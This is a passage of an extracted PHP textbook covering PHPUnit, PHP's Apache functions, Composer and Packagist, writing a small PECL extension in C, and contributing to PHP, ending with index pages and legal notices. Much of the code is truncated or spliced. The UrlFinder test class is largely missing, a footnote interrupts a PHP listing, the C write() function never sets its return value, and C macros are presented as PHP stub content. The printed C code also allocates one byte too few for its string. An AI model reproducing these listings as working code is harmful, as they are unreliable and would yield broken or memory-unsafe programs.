under the name phpunit.phar. You can find all releases at https://phar.phpunit.de. Make
the PHAR file executable, and then call it up as shown in Figure 36.2.
<?php
class UrlFinder {
public static function find($line) {
if (($start = strpos($line, "http://")) !== false) {
$end1 = strpos($line, ")", $start+1);
$end2 = strpos($line, " ", $start+1);
if ($end1 === false && $end2 === false) {
$end = strlen($line);
} elseif ($end1 === false) {
1 Well, with test-driven development (TDD), the tests actually are written first, then the code.
$end = $end2;
} elseif ($end2 === false) {
$end = $end1;
} else {
$end = min($end1, $end2);
}
return substr($line, $start, $end - $start);
} else {
throw new InvalidArgumentException("No URL found");
}
}
}
?>
To write tests for this functionality, we need to create a special test class with test cases.
In this class—derived from PHPUnit's TestCase class—specific methods perform tests.
Each of these test methods starts with test (this is how PHPUnit automatically recog-
nizes them).
In these methods, the so-called Arrange-Act-Assert (AAA) pattern is applied—so essen-
tially:
1. Preparation of the test
2. Execution of the functionality to be tested
3. Confirmation of the correct result
The third point, confirmation, is often referred to as assertion. The test checks whether
the return value is the expected one. The corresponding auxiliary methods of PHPUnit
also start with assert.
Here is an example of a test method that checks whether the correct URL is actually
determined for an input string:
offers another helper method for this: expectException(). This can then look like the
following:
$this->expectException(InvalidArgumentException::class);
UrlFinder::find('no URL');
<?php
use PHPUnit\Framework\TestCase;
require "UrlFinder.php";
UrlFinder::find('no URL');
}
The code to be tested is ready, as are the tests. Only one thing is missing: the piece of
software that performs the tests. Incidentally, this is precisely the point that needs to
be automated!
If you use PHPUnit in the form of a PHAR archive, this is the necessary call:
When using Composer, it looks quite similar. PHPUnit was automatically installed in
vendor/bin and can be called directly (Windows users, simply replace the slashes with
backslashes):
vendor/bin/phpunit UrlFinderTest.php
Figure 36.3 shows the result: Two tests with two assertions were tested, and both
passed!
Note
We "cheated" in a way, because the test class was in the same directory as the code
itself (this is unusual) and also loaded the class to be tested directly via require (this is
unnecessary). In most cases, an autoloading approach is used, either via an automati-
cally generated autoload file via Composer or a manually generated one. When calling
PHPUnit, you can use the --bootstrap autoload.php switch to execute this file before
the tests are executed.
So much for our first brief insight into PHPUnit. Further information can be found on
the project website, in the detailed documentation for all PHPUnit versions (https://
phpunit.de/documentation.html).
Apache is still one of the most widely used web servers. According to W3Techs, it has
now lost the top position to Nginx (https://w3techs.com/technologies/overview/web_
server), but it is still far ahead of IIS, for example. This is despite the fact that version 1 is
not multithreaded and version 2.x was quite controversial at times. (Incidentally, PHP
inventor Rasmus Lerdorf was one of the more prominent critics.) One of the main
advantages of Apache is that it is available on many platforms and can therefore be
used universally.
The first attempts at PHP were also made under Apache. It is therefore no great surprise
that the module version of PHP runs particularly well under Apache. But that is by no
means all. PHP offers a number of specific functions for the Apache server in particular,
which are briefly presented ahead.
37.1 Preparations
Of course, the specific Apache functions of PHP only make sense if PHP is actually inte-
grated as a module; the CGI version (as an external program) does not have the corre-
sponding rights.
You must therefore install PHP as a module as described in Chapter 2. Apart from this,
no further installation steps are required. The output of phpinfo() shows whether sup-
port is active (i.e., whether you are using PHP as an Apache module; see Figure 37.1).
Consider the following example listing. The output follows in Figure 37.2.
<html>
<head>
<title>Apache Info</title>
</head>
<body>
<b>You are using Apache
<?php
echo apache_get_version();
?>
<?php
print_r(apache_get_modules());
?>
</pre>
</body>
</html>
<html>
<head>
<title>HTTP Headers</title>
</head>
<body>
<h1>Request</h1>
<pre>
<?php
print_r(apache_request_headers());
?>
</pre>
<h1>Response</h1>
<pre>
<?php
print_r(apache_response_headers());
?>
</pre>
</body>
</html>
mined—for example, the MIME type, the cache behavior, and so on. If PHP is installed
as an Apache module, the scripting language can find this information about a file on
the same web server. Among other things, this makes it possible to convert virtual file
names (/folder/file.php) into actual, physical file names (/home/httpd/htdocs/folder/
file.php). The apache_lookup_uri() determines this information and returns it as an
associative array (see Figure 37.4):
<?php
$file = "";
if (isset($_GET["file"]) && is_string($_GET["file"])) {
$file = $_GET["file"];
}
?>
<html>
<head>
<title>URI Info</title>
</head>
<body>
<?php
if ($file !== "") {
?>
<h1>Information about <?php
echo htmlspecialchars($file);
?></h1>
<pre>
<?php
print_r(apache_lookup_uri($file));
?>
</pre>
<?php
}
?>
<form method="get" action="">
URI: <input type="text" name="file" value="<?php
echo htmlspecialchars($file);
?>"/>
<input type="submit" value="Get URI info" />
</form>
</body>
</html>
#!/usr/local/bin/perl
##
## Output environment variables
##
print "Content-type: text/html\n\n";
foreach $value (sort(keys(%ENV)))
{
$value = $ENV{$value}; #Get environment variable
$value =~ s|\n|\\n|g; #Make breaks visible
Perl experts will recognize the code from Listing 37.4 at first glance: It is a slightly
adapted version of the script (printenv.pl) that is supplied with the Apache web server.
This script does nothing other than output all environment variables.
This code should now be called within a PHP script. Of course, you can use fopen(), exe-
cute the script, and output the return value. However, it is much more performant to
let Apache do this.
Apache supports the inclusion of files via their virtual path with the following instruc-
tion:
<!--include virtual="/cgi-bin/environment.pl"-->
Unfortunately, PHP cannot cope with this. But don't despair: With the virtual()
method, this behavior can also be simulated with PHP, provided that PHP is installed as
an Apache module. Listing 37.5 shows the complete example, which assumes that the
Perl script is located under /cgi-bin/environment.pl and that Perl is installed correctly.
<html>
<head>
<title>Environment Variables</title>
</head>
<body>
<h1>Perl provides the following information:</h1>
<pre>
<?php
virtual("/cgi-bin/environment.pl");
?>
</body>
</html>
terminate() function terminates the current child process of Apache. Don't worry: This
does not terminate Apache itself, but only one of the many processes.
Note
This instruction is only available if the child_terminate switch has been set to On in
php.ini.
When using libraries written in PHP, a common question is: How do I install them? As
a rule, this used to mean finding and reading the documentation and then hoping that
the library in question also works for the local system. For most software, however, this
is a procedure of the past because Composer has been around since 2012. This is a pro-
gram developed by Nils Adermann and Jordi Boggiano (and numerous other open-
source enthusiasts), which can also be used to resolve dependencies. It can be used to
install many PHP libraries via the command line, including any other required pack-
ages. This chapter introduces you to the basics.
Of course, it is also possible to download the data manually from the specified URL
(https://getcomposer.org/installer) and have PHP execute it (php -f name-of-down-
loaded-file). In principle, the installer downloads Composer in PHAR format1 and cre-
ates an executable script called composer, which can be used to run the package
manager.
1 PHAR stands for PHP archive and is essentially an archive that contains PHP code. Think of it as a
complete application that can be executed by PHP.
This procedure is also conceivable under Windows, but it is even easier: There is a Win-
dows installer at https://getcomposer.org/Composer-Setup.exe that loads the latest ver-
sion of Composer and automatically sets the PATH environment variable so that you
can call composer directly from a command prompt. The installer checks some PHP set-
tings, including whether the OpenSSL extension is installed, which is necessary for
downloading data via HTTPS. If not, php.ini is automatically adjusted if required (see
Figure 38.2). For a PHP installation in the delivery state, these are currently the follow-
ing settings:
extension=openssl
extension=mbstring
During the installation, you will therefore also be asked to specify the location of the
PHP installation to be used (important if there are several parallel versions on the sys-
tem).
If you can run composer in a terminal after the installation, regardless of the operating
system, then the global installation was successful (see Figure 38.3). If not, use the local
variant. To do this, search for the composer.phar file and try the following call:
php composer.phar
This installs the latest version of the PHP SDK for Amazon's AWS cloud platform. Here
are some examples of more specific versions:
쐍 "aws/aws-sdk-php=3.0.0"
Exact version 3.0.0
쐍 "aws/aws-sdk-php=3.0.*"
At least version 3.0.0, a smaller version than 3.1.0
쐍 "aws/aws-sdk-php>=3.0.0"
At least version 3.0.0
쐍 "aws/aws-sdk-php>3.0.0"
A higher version than 3.0.0
쐍 "aws/aws-sdk-php<=3.0.0"
At most, version 3.0.0
쐍 "aws/aws-sdk-php<3.0.0"
A smaller version than 3.0.0
쐍 "aws/aws-sdk-php^3.0.0"
At least version 3.0.0, less than version 4.0.0 (because the API could change there;
recommended for dependencies)
A complete list of possible versions can be found in the online manual at http://s-
prs.co/v602256. But back to the installation: The AWS SDK uses a few more compo-
nents. Composer knows this and installs them automatically. Figure 38.4 shows the
setup in action: Other components are downloaded before the SDK.
In this way, you can set up and install components on the system manually. Of course,
it would be better if you could store the information about which external libraries and
packages are required within a project.
This is possible with a configuration file. It must contain composer.json and uses the
JSON format, as indicated by the file extension. In particular, it contains all the required
packages—for example:
{
"require": {
"aws/aws-sdk-php": "^3.297"
}
}
This configuration file corresponds to the call from Figure 38.4. To install all packages
from composer.json, use the following call in the same directory in which the JSON file
is located:
composer install
If you take a look at the project folder (see Figure 38.5), you will see that Composer has
a standard structure. The vendor directory contains the individual packages. This nam-
ing scheme also helps you to find libraries.
Of course, there will be updates to packages that you have installed with Composer (or
their dependencies!) at some point. Instead of looking for them manually, let Com-
poser do the work for you:
composer update
In the selected example with the AWS SDK, you can see that there is a file called auto-
load.php within vendor. This is not a special feature of the selected package, but another
agreement. The content looks something like the following code:
<?php
return ComposerAutoloaderInit8e23d6bfcbe8ef837dbd00cd1b4981f7::getLoader();
All packages that support autoloading according to this pattern are prepared accord-
ingly by Composer. In your application, you now only need to load the autoload.php
file, and all classes of the corresponding packages are directly available to you.
There is (almost) only one question left: How does Composer even know where the
code for the aws/aws-sdk-php package is located? The name seems to have been chosen
quite arbitrarily. The answer is: through Packagist, the official repository for Composer
(https://packagist.org). Publicly available packages are stored there, including the one
for the AWS SDK (see Figure 38.6).
Listing 38.1 shows, for example, the composer.json file for the previously used AWS SDK.
(You can find the source at http://s-prs.co/v602257, as of January 2024.)
{
"name": "aws/aws-sdk-php",
"homepage": "http://aws.amazon.com/sdkforphp",
"description": "AWS SDK for PHP - Use Amazon Web Services in your PHP
project",
"keywords": ["aws","amazon","sdk","s3","ec2","dynamodb","cloud","glacier"],
"type": "library",
"license": "Apache-2.0",
"authors": [
{
"name": "Amazon Web Services",
"homepage": "http://aws.amazon.com"
}
],
"support": {
"forum": "https://forums.aws.amazon.com/forum.jspa?forumID=80",
"issues": "https://github.com/aws/aws-sdk-php/issues"
},
"require": {
"php": ">=7.2.5",
"guzzlehttp/guzzle": "^6.5.8 || ^7.4.5",
"guzzlehttp/psr7": "^1.9.1 || ^2.4.5",
"guzzlehttp/promises": "^1.4.0 || ^2.0",
"mtdowling/jmespath.php": "^2.6",
"ext-pcre": "*",
"ext-json": "*",
"ext-simplexml": "*",
"aws/aws-crt-php": "^1.2.3",
"psr/http-message": "^1.0 || ^2.0" },
"require-dev": {
"composer/composer" : "^1.10.22",
"ext-openssl": "*",
"ext-dom": "*",
"ext-pcntl": "*",
"ext-sockets": "*",
"phpunit/phpunit": "^5.6.3 || ^8.5 || ^9.5",
"behat/behat": "~3.0",
"doctrine/cache": "~1.4",
"aws/aws-php-sns-message-validator": "~1.0",
"nette/neon": "^2.3",
"andrewsville/php-token-reflection": "^1.4",
"psr/cache": "^1.0",
"psr/simple-cache": "^1.0",
"paragonie/random_compat": ">= 2",
"sebastian/comparator": "^1.2.3 || ^4.0",
"yoast/phpunit-polyfills": "^1.0",
"dms/phpunit-arraysubset-asserts": "^0.4.0"
},
"suggest": {
"ext-openssl": "Allows working with CloudFront private distributions
and verifying received SNS messages",
"ext-curl": "To send requests using cURL",
"ext-sockets": "To use client-side monitoring",
"doctrine/cache": "To use the DoctrineCacheAdapter",
"aws/aws-php-sns-message-validator": "To validate incoming SNS
notifications"
},
"autoload": {
"psr-4": {
"Aws\\": "src/"
},
"files": ["src/functions.php"]
},
"autoload-dev": {
"psr-4": {
"Aws\\Test\\": "tests/"
},
"classmap": ["build/"]
},
"extra": {
"branch-alias": {
"dev-master": "3.0-dev"
}
}
}
In addition to general information about the extension, you will also find a list of
dependencies, including the packages that you have already installed in Figure 38.4.
The suggest section also contains some recommended extensions that are not neces-
sary for execution. Detailed documentation for the format of composer.json can be
found at http://s-prs.co/v602296.
Once the JSON file is ready, we are almost done—provided your library is located on a
public repository that does not use an overly exotic version management system such
as Git, Subversion, or Mercurial. Simply enter the repository URL at https://pack-
agist.org/packages/submit (see Figure 38.7), and Packagist will take care of the rest.
As we have only scratched the surface of Composer in this chapter, the official docu-
mentation is basically the first port of call. You can find it at https://getcomposer.org/
doc.
PHP is a very powerful language; we hope the previous book chapters have demon-
strated this. However, there is always a point where the built-in functionality is not
enough. This chapter is about PECL. As with PEAR, you can contribute your own (good)
packages to PECL. The main difference is that these packages are written in C and must
therefore be compiled.
Note
This begs the question: What is the difference between a PHP extension and a PECL
package? Well, there isn't a big one, at least. You use PECL packages just like PHP exten-
sions, as you will see in Section 39.3.
PECL packages are generally more powerful than PEAR packages as they are usually
more performant due to compilation. However, there are also disadvantages: they
require a compiled version, so operating system independence is at risk. In addition,
various hosts are opposed to offering many extensions. So if you want to ensure that
your code finds as many users as possible, first look at PEAR, Zend Framework, or
another library.
As you need to know a completely different language for PECL—namely, C—we will
keep the explanations in this chapter relatively short and only show you what the first
steps look like. We will therefore only create a rather small PECL extension. The secrets
of C programming and the internals of the Zend Engine are a little removed from the
focus of this book.
Note
There's a saying about writing PHP extensions or PECL modules: "Those who talk about
it have no idea; those who do have an idea don't talk about it." The quote comes from
our author colleague George Schlossnagle. He does know, and he has also talked (or
written) about the subject. His book Professional PHP 5 Programming, unfortunately no
longer available in current bookstores but still to be found in modern antiquarian
bookshops, contains a lot of material on the subject and is a hot tip for a deeper intro-
duction to the subject. Unfortunately, due to numerous internal changes in PHP since
its publication, many details are no longer up to date.
The example in this chapter was created at the end of our work on this book. We put a
lot of effort into the project and, toward the end, we wondered whether this process
could be optimized. We quickly came up with the idea of a book generator. You enter a
topic, and the complete book comes out.
39.1 Programming
One principle was recognizable in many places in this book: achieve as much as possi-
ble with as little work (i.e., PHP code) as possible. We want to keep it that way in this
chapter too. If you know exactly what your extension is called and which functions it
should offer, you can have the complete code created (almost) automatically. To do
this, there is a script called ext_skel.php in the PHP source code in the ext directory,1
which automatically creates a basic framework (skeleton) of the associated C code.
The following call must be made directly within the ext folder of the PHP source code
and generates a series of data for the extension (see Figure 39.1):
1 On GitHub: http://s-prs.co/v602297.
But it can be (almost) a little easier, although not entirely without a catch. Hartmut
Holzgraefe has (with the support of a few others, including Rasmus Lerdorf) written a
PEAR package that does this and offers additional options. Well, to be precise, it was
originally a PEAR package, then it was at home in PECL for a while. Now it has returned
to PEAR, this time in the form of two packages. The homepage of the base package can
be found at http://s-prs.co/v602298; the package from http://s-prs.co/v602299 is also
required (see Figure 39.2).
You install the package as usual with pear install CodeGen and pear install CodeGen_
PECL (see Figure 39.3). Before doing this, it is recommended—at least when using PEAR
for the first time—to update the channel list:
pear update-channels
While you still had to feed ext_skel.php with a command line parameter, PECL_Gen is a
little more structured: you need the XML format. Here is a minimal version of an XML
configuration file:
<?xml version="1.0"?>
<extension name="Book">
</extension>
This creates an extension called Book, but without any further information. Now it's
time to change that. Any further printed XML code will end up inside the <extension>
element. First, you need a short summary of what the extension does. The <summary>
element is used for this:
<summary>Book generator</summary>
Then, as with PEAR, you can store information about the author(s) of the extension.
This is relatively unusual in PECL, as this information also ends up in the output of
phpinfo(). However, it is certainly not impractical for training purposes and probably
makes sense for possible commercial PHP extensions. In addition, this information
feeds the info page on the PECL project homepage (see Figure 39.2):
<maintainers>
<maintainer>
<user>wenz</user>
<name>Christian Wenz</name>
<email>[email protected]</email>
<role>lead</role>
</maintainer>
</maintainers>
In addition, the last few published versions of the extension should be listed in the defi-
nition file, also for the project homepage (and for phpinfo()):
<release>
<version>0.1.0</version>
<date>2024-01-24</date>
<state>alpha</state>
<notes>Little code, few features</notes>
</release>
Now we come to the essentials: the code. You need a <function> element for each func-
tion that the extension is to implement. In the <proto> subelement, you specify the
prototype of the function (i.e., the signature with parameters and data types). You also
have the <description> (description, more detailed if desired) and <summary> (summary)
fields:
<functions>
<function name="write">
<proto>string write(string topic)</proto>
<summary>Ghostwriter</summary>
<description>Creates a book. :-)</description>
<code></code>
</function>
</functions>
The only thing missing is the actual C code. Somewhat surprisingly, you also specify
this in the XML file, between <code> and </code>. Here is a short piece of code that actu-
ally creates a book on a topic; it simply returns "<topic> manual" as a string:
<code><![CDATA[
char *title;
title = (char *)emalloc(topic_len + 9);
*title = '\0';
strcat(title, topic);
strcat(title, " Handbook");
RETURN_STRINGL(title, topic_len + 9, 0);
]]></code>
<?xml version="1.0"?>
<extension name="Book">
<functions>
<function name="write">
<proto>string write(string topic)</proto>
<summary>Ghostwriter</summary>
<description>Creates a book. :-)</description>
<code><![CDATA[
char *title;
title = (char *)emalloc(topic_len + 9);
*title = '\0';
strcat(title, topic);
strcat(title, " Handbook");
Now you only need to call PECL_Gen. After installation, a corresponding script has
been stored in the PHP directory:
pecl-gen extension.xml
If you are using Windows, you can use the pecl-gen.bat batch file created during instal-
lation and execute the same command. The notice that may appear (see Figure 39.4)
can be ignored as an exception. The script then generates the associated C files, tests,
and much more. Figure 39.5 shows the files generated by ext_skel.php; the result of the
PEAR package looks similar.
In principle, the process via ext_skel.php is much better because this script is still
actively maintained. But no matter which approach you choose, you will end up with
(almost) everything you need to create the extension.
39.2 Compile
The script has automatically created a directory with the name of the extension (here,
book; uppercase letters are converted to lowercase letters by ext_skel.php) and created
some files there, including the following:
쐍 config.m4
Among other things, this file sets up a new configuration switch for PHP:
...
PHP_ARG_ENABLE([book],
[whether to enable book support],
[AS_HELP_STRING([--enable-book],
[Enable book support])],
[no])
...
쐍 book.c
The C source code of the extension. If you have used the PECL packages, this is prac-
tically ready. If you use ext_skel.php, you still need to enter some information in the
generated files. As it happens, there are already two test functions in the file, test1()
and test2(). These provide good inspiration for your own experiments and show
the basic structure. Nevertheless, delete both blocks surrounded by PHP_FUNCTION
and insert the following code instead:
PHP_FUNCTION(write)
{
char *topic = NULL;
size_t topic_len = 0;
zend_string *retval;
ZEND_PARSE_PARAMETERS_START(1, 1)
Z_PARAM_STRING(topic, topic_len)
ZEND_PARSE_PARAMETERS_END();
RETURN_STR(retval);
}
Further information in this file includes the output of the extension in phpinfo().
쐍 book.stub.php
Here is a list of functions provided by the extension. They essentially specify the sig-
natures, directly as PHP code! Remove the two existing entries for test1() and
test2() and create the following entry instead:
ZEND_BEGIN_ARG_WITH_RETURN_TYPE_INFO_EX(arginfo_write, 0, 0, IS_STRING, 0)
ZEND_ARG_TYPE_INFO_WITH_DEFAULT_VALUE(0, topic, IS_STRING, 0, "\"\"")
ZEND_END_ARG_INFO()
ZEND_FUNCTION(write);
ZEND_FE_END
};
When using the PEAR package, this information can be found directly in the book.c
file.
쐍 php_book.h
The header file for the extension.
There is also a template for a unit test for the extension in the tests directory and (when
using the PECL packages) a starting point for the associated DocBook documentation in
the manual folder. As you can see, getting started is not difficult at all: quite the opposite.
Now you just need to compile the extension. To do this, go to the base directory of the
PHP source code (php-src) and execute the phpize script, which is installed with PHP
(Windows users, use buildconf as described in Chapter 2):
phpize
./configure --enable-book
make
Figure 39.6 and Figure 39.7 illustrate this process. Finally, except under Windows, make
sure (with root rights) that the extension (Book.so) is also located in the correct directory:
make install
Figure 39.7 This Is What the End Result Should Look Like
And that’s it! The extension is not exactly rich in functionality, but it was also
extremely quick to create and not as difficult as it might have looked at first (and as it
used to be).
39.3 Testing
Depending on whether you have set CodeGen_PECL or ext_skel.php, there are now two
test options.
Option 1
The extension was created directly (php_Book.so or php_Book.dll), so it is time to make
this public in php.ini as well:
extension=book
A call to phpinfo() now displays information about the class (see Figure 39.8).
Of course, you want to test the extension now. As you have already included the class
in php.ini, you can call the new write() function directly:
<?php
echo write("PHP 8.3");
?>
Figure 39.9 shows the result: The script has created a handbook for PHP 8.3 (or at least
the title).
Option 2
The extension has been integrated directly into PHP. This means that you no longer
need to load the extension via php.ini, but can call the write() function directly. This
can be tested directly on the command line: php -m returns a list of all extensions, while
php -r executes code (see Figure 39.10).
You have now taken the first steps toward your own PHP extension. You probably
already have ideas for a more useful PECL module. If your extension can create not only
the book title but also the complete book text, please let us know. Thank you for buying
this (completely hand-typed) book!
The success of the PHP project is based on many components: the easy accessibility of
the language, the extensive ecosystem of PHP-based libraries and applications, the
large core team, the huge community.
While open source often follows the LOW principle (let others work), PHP is a language
by developers, for developers. The inhibition threshold to contribute to the PHP proj-
ect yourself is therefore not that high. And isn't using a language even more fun when
you've been responsible for a small cog in the wheel yourself?
In this final chapter of this book, we will briefly show you how you can contribute code
to PHP and what other ways you can contribute using a real example.
There are two ways to contribute code to PHP yourself: Either you add a new feature, or
you improve something from the existing range of functions. Let's start with the
smaller undertaking first.
On the overview page of all registered issues, there is also a button labeled New Issue. It
leads to the input mask shown in Figure 40.2, via which you can report an error.
However, this section is not about actually reporting a bug, but about fixing it. You
must therefore obtain the PHP code (depending on the bug, the latest version of a spe-
cific subversion of PHP or the most up-to-date code) and fix the bug accordingly. A
somewhat older example of our own is quite suitable for demonstration purposes,
especially because the necessary code corrections were rather straightforward. In this
case, the author of these lines once noticed that the output of phpinfo() in an older ver-
sion contained a small error: The operating system used is always output there as well.
Under Windows 8.1, however, the output is Windows 8 (this was long before Windows 10
or even 11). The ext/standard/info.c file, in which the phpinfo() function is imple-
mented, was identified as the culprit. The internal Windows version number and the
corresponding output text are determined there via the operating system. Here you
can see a shortened and slightly edited excerpt from the code at that time:
if (VER_PLATFORM_WIN32_NT==osvi.dwPlatformId &&
osvi.dwMajorVersion > 4 ) {
if (osvi.dwMajorVersion == 6) {
if( osvi.dwMinorVersion == 0 ) {
if( osvi.wProductType == VER_NT_WORKSTATION ) {
major = "Windows Vista";
} else {
major = "Windows Server 2008";
}
} else
if ( osvi.dwMinorVersion == 1 ) {
if( osvi.wProductType == VER_NT_WORKSTATION ) {
major = "Windows 7";
} else {
major = "Windows Server 2008 R2";
}
} else if ( osvi.dwMinorVersion == 2 ) {
Windows 8 corresponds internally to Windows version 6.2, as can also be seen in the
code. Windows 8.1, on the other hand, is Windows 6.3. The catch: The programming
interface used also only returns 6.2 for all Windows versions after 8. It is therefore nec-
essary to use a different call. This was researched and implemented in the present case.
The basic procedure—apart from the implementation, of course—is relatively simple.
The PHP repository on GitHub is forked (roughly equivalent to a clone), and the code in
the fork is then adapted accordingly. This adaptation is then packaged in a pull request.
If you only need to change a single file, you can even modify the code and generate the
pull request directly in the browser (see Figure 40.3; a proper development environ-
ment is still recommended).
You can then see the URL of this pull request in the GitHub issue tracker. You then hope
that the development team responsible for the module will take care of it. If everything
is in order, your patch will be improved (or you will be asked to improve it), and
finally—hopefully—the pull request will be accepted (see Figure 40.4).
Your bug fix will then be included in the next PHP release! You can be sure of infinite
fame, because those who have fixed a bug are usually named in the NEWS file and also
in the release notes (see Figure 40.5 and Figure 40.6).
Figure 40.7 Current RFCs in Various Phases (Coordination, Discussion, and So On)
We would like to mention a fifth option that is very close to our hearts. The PHP Foun-
dation was founded by several companies and individuals from the PHP environment
in order to put the open-source project on a more stable footing, particularly because
the involvement of Zend, and especially that of Microsoft (which, among other things,
has long supported the Windows version of PHP), has declined sharply. The organiza-
tion not only promotes PHP, but also supports 101 developers monetarily "part-time" to
1 At the time of manuscript submission at the end of January 2024, here is the current list of people:
http://s-prs.co/v6022100.
work on PHP. If you or your company benefit from PHP, it wouldn't be a bad idea to
give some of it back to the PHP Foundation. For more information and ways to support
the work of the organization, please visit the project website at https://thephp.founda-
tion (see also Figure 40.8).
No matter how you participate in PHP yourself, and even if you only use it yourself and
convince friends and colleagues: this is the only way to make the project even bigger,
more successful, and better than it already is. Thank you very much!
--with-mysql=/path/to/mysql_config xml_set_processing_instruction_handler()
(switch) ................................................................. 565 (function) ............................................................ 800
--with-mysql=/path/to/mysql (switch) ........ 565 xml_set_unparsed_entity_decl_handler()
--with-mysqli (switch) ............................................ 71 (function) ............................................................ 800
--with-oci8 (switch) .............................................. 642 XML_SVG .................................................................... 77
--without-pear (switch) .......................................... 75 XMLHttpRequest .................................................. 777
--with-xsl[=path] (switch) .................................. 796 XML-RPC .................................................................. 747
WordPress ................................................................... 35 xor .............................................................................. 124
wordwrap (function) ........................................... 203 XPath ......................................................................... 795
Write() (method) .................................................... 849 DOM ...................................................................... 810
Write access ............................................................. 709 XQuery ...................................................................... 795
writeHTML() (method) ........................................ 858 XSD ............................................................................. 793
WSDL .......................................................................... 750 XSL .............................................................................. 794
nuSOAP ................................................................ 761 XSLT ........................................................................... 813
PHP-SOAP ........................................................... 768 XsltProcessor (class) ............................................ 813
WS-Security ............................................................. 751 XSS ..................................................................... 504, 869
WWW-Authenticate header .............................. 896
Y
X
yield ........................................................................... 177
\x00 ............................................................................ 107
XAMPP ................................................................. 49, 69 Z
Xdebug ...................................................................... 935
XE ................................................................................ 481 Zend .................................................................... 34, 386
XE \ .............................................................................. 363 Zend Engine 2 ........................................................ 307
XE \Hypertext ........................................................... 33 Zend Framework ................................................... 386
XE \pg_pconnect() ................................................ 665 ZERO ....................................................... 102, 166, 189
XE \realpath() .......................................................... 718 Zero coalescing operator ................................... 131
XE \strftime() .......................................................... 289
X-Mailer .................................................................... 511
XML ............................................................................ 791
installation ......................................................... 796
namespaces ........................................................ 793
programming access ...................................... 796
schema ................................................................. 793
SimpleXML .......................................................... 801
valid ....................................................................... 793
validate ................................................................ 811
well-formed ........................................................ 791
XML_OPTION_CASE_FOLDING (constant) 799
XML_OPTION_SKIP_WHITE (constant) ....... 800
XML_OPTION_TARGET_ENCODING
(constant) ............................................................ 800
xml_parse() (function) ........................................ 798
xml_parser_create() (function) ....................... 797
xml_parser_free() (function) ........................... 798
xml_parser_get_option() (function) ............ 800
xml_parser_set_option() (function) ............. 799
xml_set_character_data_handler()
(function) ............................................................ 797
xml_set_element_handler() (function) ....... 797
The following sections contain notes on how you can contact us.
You can also share your reading experience via Twitter, Facebook, or email.
Supplements
If there are supplements available (sample code, exercise materials, lists, and so on), they
will be provided in your online library and on the web catalog page for this book. You can
directly navigate to this page using the following link: http://www.rheinwerk-computing.
com/6022. Should we learn about typos that alter the meaning or content errors, we will
provide a list with corrections there, too.
Technical Issues
If you experience technical issues with your e-book or e-book account at Rheinwerk Com-
puting, please feel free to contact our reader service: [email protected].
i
Legal Notes
This section contains the detailed and legally binding usage conditions for this e-book.
Copyright Note
This publication is protected by copyright in its entirety. All usage and exploitation rights
are reserved by the author and Rheinwerk Publishing; in particular the right of reproduction
and the right of distribution, be it in printed or electronic form.
Copyright notes, brands, and other legal reservations as well as the digital watermark may
not be removed from the e-book.
No part of this book may be used or reproduced in any manner for the purpose of training
artificial intelligence technologies or systems. In accordance with Article 4(3) of the Digital
Single Market Directive 2019/790, Rheinwerk Publishing, Inc. expressly reserves this work
from text and data mining.
Digital Watermark
This e-book copy contains a digital watermark, a signature that indicates which person
may use this copy. If you, dear reader, are not this person, you are violating the copyright.
So please refrain from using this e-book and inform us about this violation. A brief email to
[email protected] is sufficient. Thank you!
ii
Trademarks
The common names, trade names, descriptions of goods, and so on used in this publication
may be trademarks without special identification and subject to legal regulations as such.
All products mentioned in this book are registered or unregistered trademarks of their
respective companies.
Limitation of Liability
Regardless of the care that has been taken in creating texts, figures, and programs, neither
the publisher nor the author, editor, or translator assume any legal responsibility or any
liability for possible errors and their consequences.
iii